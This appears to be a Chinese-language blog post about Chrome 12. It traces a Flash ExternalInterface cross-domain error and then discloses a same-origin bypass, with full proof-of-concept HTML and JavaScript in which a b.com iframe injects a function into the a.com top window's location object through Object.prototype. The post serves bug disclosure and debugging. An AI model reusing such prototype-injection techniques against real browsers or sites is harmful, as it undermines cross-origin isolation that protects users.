論壇上有人問到 Chrome 瀏覽器上跨域 iframe 會出現 Flash 安全性的警告
而且在 Google Code 上也有人提出相同的問題
http://code.google.com/p/swfobject/issues/detail?id=481
http://code.google.com/p/chromium/issues/detail?id=76748

反覆測試之後,將問題簡化如下:

  1. a.com 下的 HTML 網頁,包含一個 b.com 來的 iframe 網頁
  2. b.com iframe 網頁內使用 javascript touch 一下 window.top.location
  3. a.com 在 onload 完成後,動態建立一 Flash 物件
  4. Flash 物件內透過 ExternalInterface 呼叫任何 Javascript Function
  5. 得到以下錯誤訊息

SecurityError: Error #2060: 執行程序安全性違規:ExternalInterface 呼叫者 http://a.com/flash.swf 無法存取 [object]。
at flash.external::ExternalInterface$/_initJS()
at flash.external::ExternalInterface$/call()
at flash_fla::MainTimeline/doCallJs()

已經簡化成這樣,很明顯問題是出在 javascript window.top.location 物件上
想要避免該問題,只要在主頁上一載入立即搶先 touch window.top.location 就好了

在測試過程中,還發現另一個更嚴重的問題
跨域的 iframe 能夠透過原型鍊 prototype 插入任意 function 到 location 物件上
讓 top window 頁面呼叫並傳遞任何物件
不受跨網域安全性的限制

以下是實際的測試程式:

http://a.com/index01.html
<!DOCTYPE HTML>
<html>
<head>
<meta charset="utf-8">
<title></title>
<script type="text/javascript">
function onLoad() {
	console.log("'fun' in location: ", "fun" in window.location);
	console.log("'fun' in document: ", "fun" in document);
	if ("fun" in window.location)
		console.log(window.location.fun());
}
</script>
</head>
<body onLoad="onLoad();">
    <iframe width="100" height="100"
    	src="http://b.com/index02.html">
    </iframe>
</body>
</html>
// http://b.com/index02.html
<!DOCTYPE HTML>
<html>
<head>
<meta charset="utf-8">
<script type="text/javascript">
// Make sure touch top window location first in all frames, get the hook to inject function.
window.top.location;
//*/ Inject cross domain function via Object.prototype
Object.prototype.fun = function() {
	return("from iframe : " + window.location);
};
//*/
/*/ Inject cross domain function via location.__proto__
window.location.__proto__.fun = function() {
	return("from iframe : " + window.location);
};
//*/
</script>
</head>
<body></body>
</html>

實際用 Chrome 瀏覽器測試得到以下的結果

'fun' in location:  true
'fun' in document:  false
from iframe : http://b.com/index02.html

跨網域 iframe 插入的 fun 真的能夠在主頁偵測到,並且呼叫之
以上的 Bug 至少會發生在 Chrome 12.0.742.100 上